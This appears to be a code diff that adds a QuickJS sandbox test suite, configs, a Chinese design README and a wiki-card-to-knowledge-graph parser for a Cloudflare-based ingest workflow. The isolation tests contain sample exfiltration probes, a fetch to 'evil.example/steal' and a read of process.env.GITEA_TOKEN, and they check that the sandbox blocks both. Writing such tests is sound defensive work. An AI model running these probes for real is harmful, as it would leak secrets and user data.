這張卡引用了 [[notes/arcrun-runtime]] 與 [[notes/quickjs-sandbox]]。
|
||||
|
||||
## 實體
|
||||
|
||||
- **QuickJS**(quickjs/qjs)— 小型 JS 直譯器,可編成 wasm。
|
||||
- **wazero** — Go 寫的 WASI runtime。
|
||||
- **workerd** — Cloudflare Worker 的開源 runtime。
|
||||
|
||||
## 關聯
|
||||
|
||||
### 內文知識關係
|
||||
- QuickJS >> 編譯成 >> wasm
|
||||
- workerd >> 執行 >> wasm
|
||||
|
||||
### 卡片關係
|
||||
- [[沙箱示範卡]] >> 依賴 >> [[notes/arcrun-runtime]]
|
||||
@@ -0,0 +1,135 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { runCode, setVariant } from '../sandbox.mjs';
|
||||
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
|
||||
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
|
||||
import { newVariant } from 'quickjs-emscripten-core';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const FIX = join(HERE, 'fixtures');
|
||||
|
||||
// 注入與 production(Worker)同一條路徑:wasmfile variant + 預編 WebAssembly.Module。
|
||||
// Worker 由 wrangler 把 import 的 .wasm 綁成 Module;此處在 Node 由 bytes 建 Module。
|
||||
const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm'));
|
||||
setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) }));
|
||||
|
||||
describe('① 基本 snippet 跑通', () => {
|
||||
it('sum: {return {sum: input.a + input.b}}', async () => {
|
||||
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
|
||||
expect(r).toEqual({ success: true, data: { sum: 42 } });
|
||||
});
|
||||
|
||||
it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => {
|
||||
const r = await runCode(
|
||||
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
|
||||
{ xs: [1, 2, 3] },
|
||||
);
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data.mapped).toEqual([1, 4, 9]);
|
||||
expect(r.data.max).toBe(3);
|
||||
expect(r.data.isNum).toBe('number');
|
||||
});
|
||||
});
|
||||
|
||||
describe('② 沙箱隔離:無 ambient 能力', () => {
|
||||
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
|
||||
const r = await runCode(`return {
|
||||
fetch: typeof fetch,
|
||||
process: typeof process,
|
||||
require: typeof require,
|
||||
wasm: typeof WebAssembly,
|
||||
globalThisEnv: typeof (globalThis.env),
|
||||
xhr: typeof XMLHttpRequest,
|
||||
};`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toEqual({
|
||||
fetch: 'undefined', process: 'undefined', require: 'undefined',
|
||||
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
|
||||
});
|
||||
});
|
||||
|
||||
it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => {
|
||||
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/fetch.*is not defined/i);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('嘗試讀 env/secret → 讀不到(process undefined)', async () => {
|
||||
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/process.*is not defined/i);
|
||||
});
|
||||
|
||||
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
|
||||
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toBe('undefined|undefined');
|
||||
});
|
||||
});
|
||||
|
||||
describe('③ 錯誤處理 → 結構化 {error}', () => {
|
||||
it('user code 拋錯 → success:false + error 訊息', async () => {
|
||||
const r = await runCode(`throw new Error('boom');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/boom/);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('語法錯誤 → 結構化 error(不炸 host)', async () => {
|
||||
const r = await runCode(`return {;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('④ 資源限制', () => {
|
||||
it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => {
|
||||
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('TimeoutError');
|
||||
}, 10000);
|
||||
|
||||
it('輸出過大 → ResourceError', async () => {
|
||||
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
|
||||
it('code 過大 → ResourceError', async () => {
|
||||
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
|
||||
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
|
||||
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
|
||||
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
|
||||
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
|
||||
const repo = 'Leo/notes';
|
||||
|
||||
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
|
||||
const strip = (plan) => {
|
||||
const p = structuredClone(plan);
|
||||
for (const e of p.envelopes) delete e.extractor.extracted_at;
|
||||
return p;
|
||||
};
|
||||
|
||||
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
|
||||
const oracle = planCard(md, relPath, repo, {});
|
||||
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
|
||||
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
|
||||
});
|
||||
expect(r.success).toBe(true);
|
||||
expect(strip(r.data)).toEqual(strip(oracle));
|
||||
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
|
||||
expect(r.data.entry.metadata.embed).toBe(true);
|
||||
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
|
||||
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
|
||||
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
|
||||
}, 15000);
|
||||
});
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2022",
|
||||
"module": "ES2022",
|
||||
"moduleResolution": "Bundler",
|
||||
"lib": ["ES2022"],
|
||||
"types": ["@cloudflare/workers-types"],
|
||||
"strict": true,
|
||||
"skipLibCheck": true,
|
||||
"allowJs": true,
|
||||
"noEmit": true
|
||||
},
|
||||
"include": ["index.ts", "sandbox.mjs"]
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
import { defineConfig } from 'vitest/config';
|
||||
export default defineConfig({
|
||||
root: import.meta.dirname,
|
||||
test: { environment: 'node', include: ['test/**/*.test.mjs'] },
|
||||
});
|
||||
@@ -0,0 +1,11 @@
|
||||
name = "arcrun-code"
|
||||
main = "index.ts"
|
||||
compatibility_date = "2025-02-19"
|
||||
workers_dev = true
|
||||
|
||||
[vars]
|
||||
COMPONENT_ID = "code"
|
||||
|
||||
[[routes]]
|
||||
pattern = "code.arcrun.dev/*"
|
||||
zone_name = "arcrun.dev"
|
||||
@@ -0,0 +1,74 @@
|
||||
# km-wiki-ingest — 機械式 wiki 卡片 → KBDB ingest(Arcrun#8 / 頂層 SDD T2–T4)
|
||||
|
||||
> Phase A 產物:機械 ingest 邏輯 + 乾跑證據 + workflow 設計。**不部署、不寫 live KBDB。**
|
||||
|
||||
## 解決什麼問題
|
||||
|
||||
把各 repo 的 `system-dev/wiki/cards/**/*.md`(人工精耕卡)**機械地**(無 LLM)灌進 leo21c KBDB:
|
||||
|
||||
- **卡片 → base entry**(`metadata.embed=true`,供語意搜尋)。
|
||||
- **`## 實體` → graph node**;**`## 關聯` 的 typed-edge(`A >> 關係 >> B`)與 `[[wikilink]]` → graph triplet**。
|
||||
|
||||
取代舊 `kbdb-ingest-plugin/scripts/ingest-cli.mjs` 的 `raw → Haiku → 三元組` 路:新路純解析卡片內既有結構,**決定性、零 token、零幻覺**。
|
||||
|
||||
## 形式選擇與理由(給總管)
|
||||
|
||||
**形式 = Arcrun workflow(YAML 編排)+ 通用 `code` 零件(sandbox inline JS,Arcrun#10)承載卡片→envelope 解析 + 現成零件(`cron` / `http_request` / `foreach_control` / `kbdb_upsert_block`)。** 不再鑄 domain 零件 `km_wiki_card_parse`(Arcrun#10 裁定:一次性解析走通用逃生口)。
|
||||
|
||||
理由:
|
||||
|
||||
1. **編排本來就是 arcrun 的主場**:cron 限速 drain、Gitea webhook 只吃 delta、foreach 小批、冪等 upsert——這些跟現成零件 1:1 對得上,且 leo 要「Arcrun workflow 慢慢做」、arcrun 哲學禁一次性腳本。
|
||||
2. **arcrun 唯一缺的是「卡片 → envelope」的解析**。那是一段**決定性純轉換**(無 LLM、無網路、無檔案)——正好是 `code` 零件 sandbox 的理想形狀(`stdin_stdout_json` + `no_network_syscall` + `no_filesystem_syscall`)。用通用 `code` 節點內聯這段 JS(而非鑄 domain 零件、也非在 YAML 裡塞 `string_ops` 正則):workflow 可讀、解析可單元測試、且 registry 不因一次性邏輯增生 domain 零件。
|
||||
3. **小批是結構性的,不是靠祈禱**:一卡一 tick,每卡在 graph worker 的 fan-out ≈ `7+4N+M` subrequest(notes 卡 N≈4/M≈5 → est 28~33,穩壓 CF 50 頂下);`code` 節點內聯解析會**預先把超大卡以 `source_uri` anchor 分段**,任何單一 graph 呼叫都不破頂。
|
||||
|
||||
**Phase A 交付**:純解析+打包核心(`lib/card-to-envelope.mjs`,現在就能跑,= `code` 節點內聯 JS 的權威來源)+乾跑驗證器(`lib/dry-run.mjs`,印出「將寫入什麼」)+本 workflow.yaml(parse_card = `code` 節點)。解析零件=通用 `code`(Arcrun#10 分支,已就緒待部署);本 example 不再自帶 domain 零件契約。部署被閘控,故 live 接線是「設計而非執行」。
|
||||
|
||||
## 診斷小結:fan-out 精確來源 + 小批為何解得掉
|
||||
|
||||
讀 `kbdb-graph-plugin` 現役寫入路徑(`triplet-ingest.ts` / `triplet-crud.ts` / `templates.ts` / `kbdb-client.ts`)逐行拆帳:
|
||||
|
||||
```
|
||||
POST /triplets/ingest(graph worker 單次 invocation)對 base 的 subrequest:
|
||||
ensurePluginTemplates(3) # 頂層一次
|
||||
+ listRecordsByTemplate(1) # 抓同 source 現存 active(冪等分組)
|
||||
+ Σ_triplet [ createTriplet → ensurePluginTemplates(3) + createRecord(1) ] # ★ 每條邊重跑 ensure!
|
||||
+ persistNodes [ ensurePluginTemplates(3) + Σ_node createRecord(1) ]
|
||||
+ Σ_deprecated updateRecord(1)
|
||||
= 7 + 4*N_triplets + M_nodes + D_deprecated
|
||||
```
|
||||
|
||||
- **精確炸點還原**:07_01 單一 envelope 吞 `N=11, M=10, D=0` → `7+44+10 = 61 > 50` → 破頂半殘。**放大器=`createTriplet` 內每條邊都重呼 `ensurePluginTemplates`(3 個 GET)**,佔了 33/61。
|
||||
- **小批為何解得掉**:把「整檔一 envelope」改成「一卡一 envelope、必要時再 anchor 分段」,把 `N` 壓到讓 `7+4N+M ≤ 40`。notes 三卡實測 est 上限 = 33,全綠。超大卡(自測 20 邊/22 節點=114)→ 自動分 4 段,每段 ≤ 38。
|
||||
- **附帶建議(非本 Phase 必改)**:graph 端把 `createTriplet`/`persistNodes` 內重複的 `ensurePluginTemplates` 提到 ingest 入口只跑一次,可把每 envelope 省下 `3*(N+1)` 個 subrequest(單卡 est 33→約 18),批量還能更大。此為 graph-plugin 的可選優化,記此存查。
|
||||
|
||||
## 冪等設計
|
||||
|
||||
| 對象 | 冪等鍵 | 行為 |
|
||||
|---|---|---|
|
||||
| **entry** | `page_name`(穩定:`wikicard:<repo>/<canonical>`)+ `metadata.content_hash` | 找到同 page_name:hash 相同 → skip;不同 → PATCH content(觸發重嵌)。沒有 → POST 新建。 |
|
||||
| **triplet envelope** | `source.uri` + `source.content_hash` | graph 現役 per-source 冪等:同 hash 整包 no-op(`triplet-ingest.ts:65`)。 |
|
||||
| **分段** | 各段 `source.uri = <基uri>#segNN` | 各段獨立 uri → 各自獨立冪等,**繞開 per-source content_hash 整包 skip**(否則同 uri 第 2 段起會被判定「已落地」而整包跳過)。節點只放進「首次引用它的段」,跨段不重送(避免 graph 重建 entity)。 |
|
||||
|
||||
## 觸發(兩階段,對齊 SDD R3)
|
||||
|
||||
- **Phase 0(一次性 backfill)**:`cron */2` 每 tick drain 一張卡(限速慢推),反覆跑到全庫清空。冪等 → 可續傳、重跑零寫入。
|
||||
- **穩態(日常增量)**:**Gitea push webhook → arcrun workflow**,只吃 `commits[].{added,modified}` 中的 `system-dev/wiki/cards/**/*.md`。⚠️ Gitea → Cloudflare(arcrun),**非 GitHub Actions**,不觸 GitHub flag 紅線(D4/D20)。量小、不撞頂、不限速。
|
||||
|
||||
## 乾跑證據(Phase A,不寫 live)
|
||||
|
||||
```
|
||||
node lib/dry-run.mjs --repo-path <notes clone> --repo Leo/notes --self-test
|
||||
```
|
||||
|
||||
對 `Leo/notes` 的 3 張卡實測:3 entries(embed=true)+ 3 envelopes、15 triplets、16 nodes;
|
||||
**單次 graph 呼叫 subrequest 上限 = 33(< 50),無任一 envelope 破頂**。
|
||||
self-test 合成超大卡(不分段 est=114 會炸)→ 自動分 4 段、每段 ≤ 38,全綠。
|
||||
|
||||
## 待 live 部署 + 寫入(總管過 leo 閘用)
|
||||
|
||||
1. **部署通用 `code` 零件**(Arcrun#10 分支 `feat/issue-10-code-component`,已就緒):`cd registry/components/code && npm install && npx wrangler deploy`(→ `code.arcrun.dev`)+ `register-component.sh code`。本 workflow 的 parse_card 以 `component: code` 引用它,解析 JS 已內聯在 workflow.yaml(= `lib/card-to-envelope.mjs` 邏輯)。不再部署 domain 零件 `km_wiki_card_parse`。
|
||||
2. **部署 workflow**:`km_wiki_ingest_drain`(cron drain);`wrangler` 直推 leo21c(**禁 `acr update`**——codeload 綁 GitHub 假綠,Arcrun#4)。
|
||||
3. **注入環境變數**(不放 repo):`repo=Leo/notes ref=main gitea_token kbdb_url=https://arcrun-kbdb.leo21c.workers.dev kbdb_api_key graph_url graph_api_key=leo`。`CLOUDFLARE_ACCOUNT_ID=leo21c`(別讓官方 58309b 污染)。
|
||||
4. **entry 寫入路徑確認**:若 `kbdb_upsert_block` 尚不透傳 `metadata_json`(需 `embed:true`/`content_hash`),entry 改用 `http_request` 直打 base `POST/PATCH /entries` 帶 `body_json.metadata_json`。
|
||||
5. **預期寫入量(Leo/notes 現況 3 卡)**:3 entries + 15 triplets + 16 node records(去重後更少);分 3 次 graph 呼叫(每次 ≤ 33 subrequest)+ 3 次 entry upsert。全庫鋪開時照 cron 一卡一 tick 慢推。
|
||||
6. **驗收**:ingest 後 `GET /embed/backfill/status` 應見 pending 上升→drain 後歸零、embedded 增加;三模式(關鍵字/語意/圖)curl 驗。
|
||||
@@ -0,0 +1,176 @@
|
||||
{
|
||||
"repo": "Leo/notes",
|
||||
"commit": "4b9a53c1c99d596c23b1b449fd79728610f6995b",
|
||||
"budget": 40,
|
||||
"ceiling": 50,
|
||||
"cards": [
|
||||
{
|
||||
"relPath": "system-dev/wiki/cards/notes/Gitea當後端編輯器全CF化網站構想.md",
|
||||
"canonical": "Gitea當後端編輯器全CF化網站構想",
|
||||
"entry": {
|
||||
"page_name": "wikicard:Leo/notes/Gitea當後端編輯器全CF化網站構想",
|
||||
"entry_type": "wiki_card",
|
||||
"metadata.embed": true,
|
||||
"content_hash": "64b402952fe0…",
|
||||
"content_bytes": 2324,
|
||||
"tags": [
|
||||
"系統設計",
|
||||
"工具教學"
|
||||
]
|
||||
},
|
||||
"envelopeCount": 1,
|
||||
"envelopes": [
|
||||
{
|
||||
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/Gitea當後端編輯器全CF化網站構想.md",
|
||||
"source.anchor": null,
|
||||
"nodes": 6,
|
||||
"triplets": 5,
|
||||
"est_subrequests": 33,
|
||||
"under_ceiling": true,
|
||||
"sample_triplets": [
|
||||
"Gitea >> 類比於 >> WordPress (1)",
|
||||
"Gitea >> 充當後端供稿給 >> Cloudflare Pages (1)",
|
||||
"Quartz >> 目前負責轉譯給 >> Cloudflare Pages (1)",
|
||||
"Cloudflare Artifacts >> 若提供 git 倉庫則可取代 >> Gitea (1)"
|
||||
],
|
||||
"sample_nodes": [
|
||||
"Gitea — 可自架的 git 平台,編輯體驗近似 WordPress 後…",
|
||||
"WordPress — 常見的內容管理後端,作為 Gitea 編輯體驗的類比對象。…",
|
||||
"Cloudflare Pages — Cloudflare 的靜態站前端託管。…",
|
||||
"Quartz — 目前把筆記轉成網站前端的工具。…"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"relPath": "system-dev/wiki/cards/notes/Prompt能力即拆解自己邏輯的能力.md",
|
||||
"canonical": "Prompt能力即拆解自己邏輯的能力",
|
||||
"entry": {
|
||||
"page_name": "wikicard:Leo/notes/Prompt能力即拆解自己邏輯的能力",
|
||||
"entry_type": "wiki_card",
|
||||
"metadata.embed": true,
|
||||
"content_hash": "63296a663227…",
|
||||
"content_bytes": 2109,
|
||||
"tags": [
|
||||
"AI協作",
|
||||
"工具教學",
|
||||
"觀點主張"
|
||||
]
|
||||
},
|
||||
"envelopeCount": 1,
|
||||
"envelopes": [
|
||||
{
|
||||
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/Prompt能力即拆解自己邏輯的能力.md",
|
||||
"source.anchor": null,
|
||||
"nodes": 5,
|
||||
"triplets": 5,
|
||||
"est_subrequests": 32,
|
||||
"under_ceiling": true,
|
||||
"sample_triplets": [
|
||||
"Prompt 能力 >> 本質上等於 >> 邏輯拆解能力 (1)",
|
||||
"邏輯拆解能力 >> 產出 >> pseudo code (1)",
|
||||
"pseudo code >> 足以教會 >> AI (1)",
|
||||
"Prompt能力即拆解自己邏輯的能力 >> 呼應 >> 程式化邏輯可圖解任何主題不限AI (1)"
|
||||
],
|
||||
"sample_nodes": [
|
||||
"Prompt 能力 — 把腦中意圖轉成能指揮 AI 的指令的能力。…",
|
||||
"邏輯拆解能力 — 把腦中隱性流程外顯成可陳述步驟的能力。…",
|
||||
"pseudo code — 用類程式的步驟描述邏輯、尚未綁定特定語法的表達。…",
|
||||
"AI — 需被人以指令/範例指揮才產出的生成模型。…"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"relPath": "system-dev/wiki/cards/notes/程式化邏輯可圖解任何主題不限AI.md",
|
||||
"canonical": "程式化邏輯可圖解任何主題不限AI",
|
||||
"entry": {
|
||||
"page_name": "wikicard:Leo/notes/程式化邏輯可圖解任何主題不限AI",
|
||||
"entry_type": "wiki_card",
|
||||
"metadata.embed": true,
|
||||
"content_hash": "a9dbf5fc0f9a…",
|
||||
"content_bytes": 2577,
|
||||
"tags": [
|
||||
"工具教學",
|
||||
"觀點主張",
|
||||
"系統設計"
|
||||
]
|
||||
},
|
||||
"envelopeCount": 1,
|
||||
"envelopes": [
|
||||
{
|
||||
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/程式化邏輯可圖解任何主題不限AI.md",
|
||||
"source.anchor": null,
|
||||
"nodes": 5,
|
||||
"triplets": 5,
|
||||
"est_subrequests": 32,
|
||||
"under_ceiling": true,
|
||||
"sample_triplets": [
|
||||
"程式化邏輯 >> 可圖解 >> 亞洲金融風暴 (1)",
|
||||
"流程圖解 >> 奠基於 >> 程式化邏輯 (1)",
|
||||
"系統動力學 >> 類同於 >> 流程圖解 (1)",
|
||||
"程式化邏輯可圖解任何主題不限AI >> 呼應 >> Prompt能力即拆解自己邏輯的能力 (1)"
|
||||
],
|
||||
"sample_nodes": [
|
||||
"程式化邏輯 — 以程式的因果鏈結構來表述任一領域的邏輯。…",
|
||||
"亞洲金融風暴 — 講者小 Lin 用長邏輯鏈敘述的金融事件案例。…",
|
||||
"流程圖解 — 用 n8n 這類流程工具把邏輯視覺化講解的方法。…",
|
||||
"系統動力學 — 以存量流量與回饋環圖解因果的建模工具。…"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"totals": {
|
||||
"cards": 3,
|
||||
"entries_to_upsert": 3,
|
||||
"triplet_envelopes": 3,
|
||||
"total_triplets": 15,
|
||||
"total_nodes": 16,
|
||||
"max_est_subrequests_single_call": 33,
|
||||
"ceiling": 50,
|
||||
"budget": 40,
|
||||
"any_envelope_over_ceiling": 0
|
||||
},
|
||||
"self_test": {
|
||||
"note": "合成 20 邊 / 22 節點 的超大卡",
|
||||
"if_single_envelope_est_subrequests": 114,
|
||||
"would_crash_single": true,
|
||||
"segmented_into": 4,
|
||||
"per_segment": [
|
||||
{
|
||||
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg01",
|
||||
"anchor": "seg01",
|
||||
"triplets": 6,
|
||||
"nodes": 7,
|
||||
"est_subrequests": 38,
|
||||
"under_ceiling": true
|
||||
},
|
||||
{
|
||||
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg02",
|
||||
"anchor": "seg02",
|
||||
"triplets": 6,
|
||||
"nodes": 6,
|
||||
"est_subrequests": 37,
|
||||
"under_ceiling": true
|
||||
},
|
||||
{
|
||||
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg03",
|
||||
"anchor": "seg03",
|
||||
"triplets": 6,
|
||||
"nodes": 6,
|
||||
"est_subrequests": 37,
|
||||
"under_ceiling": true
|
||||
},
|
||||
{
|
||||
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg04",
|
||||
"anchor": "seg04",
|
||||
"triplets": 3,
|
||||
"nodes": 3,
|
||||
"est_subrequests": 22,
|
||||
"under_ceiling": true
|
||||
}
|
||||
],
|
||||
"all_segments_under_ceiling": true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,331 @@
|
||||
// km-wiki-ingest — 機械式卡片→(entry + triplet envelope) 轉換核心(無 LLM、純函式)
|
||||
// ---------------------------------------------------------------------------
|
||||
// 取代舊 `kbdb-ingest-plugin/scripts/ingest-cli.mjs` 的 raw→Haiku 路:
|
||||
// 舊路 = 讀裸筆記 → 呼叫 Haiku 萃 (s,p,o) → envelope(有 LLM、非決定性、耗 token)。
|
||||
// 新路 = 讀「已精耕卡片」(`system-dev/wiki/cards/**/*.md`)→ 直接解析卡片內既有的
|
||||
// `## 實體`(節點)、`## 關聯` 的 typed-edge(`A >> 關係 >> B`)與 `[[wikilink]]`
|
||||
// → entry + triplet envelope。純機械、決定性、零 token。
|
||||
//
|
||||
// 這支=通用 `code` 零件(Arcrun#10,sandbox inline JS)承載的解析邏輯本體。
|
||||
// workflow.yaml 的 parse_card 節點把本檔的 planCard 邏輯內聯進 code 零件的 config
|
||||
// (去 import/export、raw NUL 分隔符改 u0000 escape、改用 code 沙箱注入的 sha256);
|
||||
// 不再鑄 domain 零件 km_wiki_card_parse(Arcrun#10 裁定:一次性解析走通用逃生口)。
|
||||
// 本檔續留作「該內聯 JS 的權威來源 + 可單元測試的參考實作」(純函式、stdin→stdout JSON、無 fs/網路)。
|
||||
//
|
||||
// 對齊契約:kbdb-ingest-plugin/contracts/ingest-candidate.json(envelope 形狀 / 禁止欄位)。
|
||||
// 對齊頂層 SDD:卡片→entry(metadata.embed=true,走 base API)、wikilink→triplet(走 graph)。
|
||||
//
|
||||
// 鐵律:不碰儲存、不算向量、不建表。這支只「產出將寫入什麼」,實際 HTTP 由 workflow 打。
|
||||
|
||||
import { createHash } from 'node:crypto';
|
||||
|
||||
// --- CF subrequest 預算(防「Too many subrequests by single Worker invocation」,07_01 根因)---
|
||||
//
|
||||
// graph worker 處理一次 POST /triplets/ingest 時,對 base 的每次 fetch = 1 subrequest。
|
||||
// 精確拆帳(讀 kbdb-graph-plugin/src/actions/triplet-ingest.ts + triplet-crud.ts + templates.ts):
|
||||
// ingestEnvelope = ensurePluginTemplates(3) + listRecordsByTemplate(1)
|
||||
// + Σ triplet [ createTriplet → ensurePluginTemplates(3) + createRecord(1) = 4 ]
|
||||
// + persistNodes [ ensurePluginTemplates(3) + Σ node createRecord(1) ]
|
||||
// + Σ deprecated updateRecord(1)
|
||||
// ⟹ subreq(envelope) = 7 + 4*N_triplets + M_nodes + D_deprecated
|
||||
//
|
||||
// 07_01 實測炸點:N=11, M=10, D=0 → 7+44+10 = 61 > 50(CF 免費/bundled 上限)→ 炸半殘。
|
||||
//
|
||||
// 對策 = 「一卡一 tick、每 envelope 壓在預算下、超大檔以 source_uri anchor 分段」。
|
||||
export const SUBREQ_CEILING = 50; // CF 單次 Worker invocation subrequest 硬上限(bundled)
|
||||
export const SUBREQ_BUDGET = 40; // 我們的目標上限(留 10 給 D_deprecated 等變動)
|
||||
|
||||
/** 精確估算「一個 envelope 打進 graph /triplets/ingest」會在 graph worker 內產生幾個 subrequest。 */
|
||||
export function estimateEnvelopeSubrequests(nTriplets, mNodes, dDeprecated = 0) {
|
||||
return 7 + 4 * nTriplets + mNodes + dDeprecated;
|
||||
}
|
||||
|
||||
// --- sha256(content_hash 冪等鍵)---
|
||||
export function sha256(text) {
|
||||
return createHash('sha256').update(text).digest('hex');
|
||||
}
|
||||
|
||||
// --- frontmatter 解析(極簡 YAML:只吃我們卡片用到的 tags / gloss / pipeline_candidate)---
|
||||
function parseFrontmatter(md) {
|
||||
const m = md.match(/^---\n([\s\S]*?)\n---\n?/);
|
||||
if (!m) return { data: {}, body: md };
|
||||
const body = md.slice(m[0].length);
|
||||
const data = {};
|
||||
for (const line of m[1].split('\n')) {
|
||||
const kv = line.match(/^([A-Za-z_][\w-]*):\s*(.*)$/);
|
||||
if (!kv) continue;
|
||||
const key = kv[1];
|
||||
let val = kv[2].trim();
|
||||
if (val.startsWith('[') && val.endsWith(']')) {
|
||||
// inline list: [a, b, c]
|
||||
data[key] = val.slice(1, -1).split(',').map((s) => s.trim()).filter(Boolean);
|
||||
} else if (val === 'true' || val === 'false') {
|
||||
data[key] = val === 'true';
|
||||
} else {
|
||||
data[key] = val;
|
||||
}
|
||||
}
|
||||
return { data, body };
|
||||
}
|
||||
|
||||
// --- 取某個 `## 標題` / `### 標題` 區塊的內文(到下一個同級或更高級標題為止)---
|
||||
function sectionBody(md, heading) {
|
||||
// heading 例:'## 實體'、'### 內文知識關係'
|
||||
const level = heading.match(/^#+/)[0].length;
|
||||
const lines = md.split('\n');
|
||||
const out = [];
|
||||
let inSec = false;
|
||||
for (const line of lines) {
|
||||
const h = line.match(/^(#+)\s+(.*)$/);
|
||||
if (h) {
|
||||
const thisLevel = h[1].length;
|
||||
if (inSec) {
|
||||
// 遇到同級或更高級標題 → 區塊結束
|
||||
if (thisLevel <= level) break;
|
||||
}
|
||||
// 標題文字「開頭相符」即算命中(容忍標題後帶括號補述)
|
||||
if (!inSec && thisLevel === level && line.replace(/^#+\s+/, '').startsWith(heading.replace(/^#+\s+/, ''))) {
|
||||
inSec = true;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inSec) out.push(line);
|
||||
}
|
||||
return out.join('\n');
|
||||
}
|
||||
|
||||
// --- 實體行解析:`- **正規名**(別名1/別名2)— 描述`(別名、描述皆選填)---
|
||||
function parseEntities(md) {
|
||||
const sec = sectionBody(md, '## 實體');
|
||||
const entities = [];
|
||||
for (const raw of sec.split('\n')) {
|
||||
const line = raw.trim();
|
||||
if (!line.startsWith('- ')) continue;
|
||||
if (line.startsWith('- >') || line.startsWith('> ')) continue; // 跳過引言說明行
|
||||
const m = line.match(/^- \*\*(.+?)\*\*(?:((.+?)))?\s*(?:[—–\-]\s*(.*))?$/);
|
||||
if (!m) continue;
|
||||
const name = m[1].trim();
|
||||
if (!name) continue;
|
||||
const aliases = m[2]
|
||||
? m[2].split(/[//、,]/).map((s) => s.trim()).filter((s) => s && s !== name)
|
||||
: [];
|
||||
const gloss = (m[3] || '').trim();
|
||||
entities.push({ name, aliases, gloss });
|
||||
}
|
||||
return entities;
|
||||
}
|
||||
|
||||
// --- typed-edge 行解析:`A >> 謂詞 >> B`(端點可為裸實體名或 [[wikilink]])---
|
||||
function parseTypedEdges(sectionText) {
|
||||
const edges = [];
|
||||
for (const raw of (sectionText || '').split('\n')) {
|
||||
const line = raw.trim();
|
||||
if (!line.startsWith('- ')) continue;
|
||||
const body = line.slice(2).trim();
|
||||
if (body.startsWith('(') || body.startsWith('(')) continue; // 「(暫無…)」占位行
|
||||
const parts = body.split('>>');
|
||||
if (parts.length !== 3) continue;
|
||||
const subject = stripWikilink(parts[0].trim());
|
||||
const predicate = parts[1].trim();
|
||||
const object = stripWikilink(parts[2].trim());
|
||||
if (!subject || !predicate || !object) continue;
|
||||
edges.push({ subject, predicate, object });
|
||||
}
|
||||
return edges;
|
||||
}
|
||||
|
||||
